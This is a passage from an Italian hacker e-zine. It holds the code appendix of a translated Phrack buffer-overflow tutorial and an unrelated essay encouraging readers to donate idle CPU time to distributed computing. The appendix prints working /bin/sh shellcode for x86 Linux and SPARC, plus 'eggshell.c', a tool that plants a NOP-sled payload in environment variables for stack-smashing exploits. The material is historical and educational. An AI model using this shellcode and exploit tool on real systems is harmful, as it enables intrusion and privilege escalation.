1, %g1 ta %l5 + 1 ------------------------------------------------------------------------ Appendice B - Programmi Generici Di Buffer Overflow ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h ------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ------------------------------------------------------------------------ eggshell.c ------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include #include #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); } ------------------------------------------------------------------------ NdT: Se non vi piace la traduzione o vi volete cimentare nell' impresa potete prelevare il testo originale apparso su phrack n. 49. Se volete contattarmi: eafkuor@email.it ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0B] OQ20040308[0B] :: :: [0x0A][SHUTD0WN] PER UN PUGN0 Di RiS0RSE [binduck] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Ho scritto queste poche righe per esporre un problema che sussiste ma che di solito nessuno si preoccupa di affrontare, il problema delle risorse che in tutto il mondo vanno quotidianamente sprecate, tempo processore letteralmente bruciato. Molte persone, ragazzi, anche appassionati di informatica, hanno il timore che il loro amato processore Pentium X [con X->inf] prenda fuoco, per il troppo lavoro, temono che si possa rovinare perche' svolge calcoli "complessi" o magari perche' fa girare per troppo tempo l'ultimo gioco strafico... Beh...un processore non si volatilizza se ha sopra un bel dissipatore adatto alla sua frequenza e a raffreddarlo bene quando raggiunge una certa temperatura...e credetemi, non esiste computer che non presenti delle buone ventole e dei buoni dissipatori... Anche chi ha provato la necessita' di aumentare la capacita' della CPU, overclockandolo fino all'impossibile avra' avuto certamente l'accortezza di aggiornare le proprieta' dissipative del proprio sistema refrigerante. La percentuale di utilizzo della CPU sottratta al 100% ci restituisce la percentuale di Idle; quando noi per esempio scarichiamo files da internet e non eseguiamo nessun'altra operazione il processore rimane stazionario su circa 99.9% di Idle; lo stesso vale per quando chattiamo o per quando scriviamo [a seconda dell'editor la percentuale di Idle potrebbe diminuire anche di 1% - 3%],o persino per quando programmiamo, infatti il tempo di compilazione e' di solito molto breve. Bene, tutto il tempo che il processore passa in Idle, e' tutto tempo sprecato, e' tutto tempo in cui potrebbe eseguire svolgere calcoli; inoltre e' bene ricordare che in questo tempo il processore assorbe lo stesso quantitativo di corrente... Esistono molti algoritmi che necessitano di una quantita' di risorse hardware molto alta, risorse che singolarmante non sono disponibili ma che sono, spesso, raggiungilibi unendo le proprie risorse a quelle di altri utenti. La ricerca scientifica ha una necessita' immensa di risorse hardware per eseguire calcoli complessi che impiegherebbero molto tempo ad essere terminati anche su cluster composti da decine di unita'. Dobbiamo molto alla scienza, soprattutto la scienza matematica, che ha fatto passi da gigante sin dal passato grazie a grandi geni che hanno messo a disposizione le loro acutissime menti per risolvere problemi che richiedevano allora anni di studi e calcoli. Ora noi abbiamo la possibilita' di svolegere in frazioni di secondo calcoli che solo settantanni fa avrebbero richiesto anni e anni di lavoro; ebbene, dobbiamo molto alla scienza. Quindi quando vi trovate di fronte a una richiesta di aiuto per svolgere calcolo distribuito non tiratevi indietro; a voi non costa nulla, e aiuterete chi ha sempre aiutato voi, anche se voi non ve ne siete mai accorti. P.S.Inoltre d'inverno e' apprezzabile in calore del processore, e d'estate si possono aprire le finestre :). Paolo Ardoino AKA binduck hu> :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::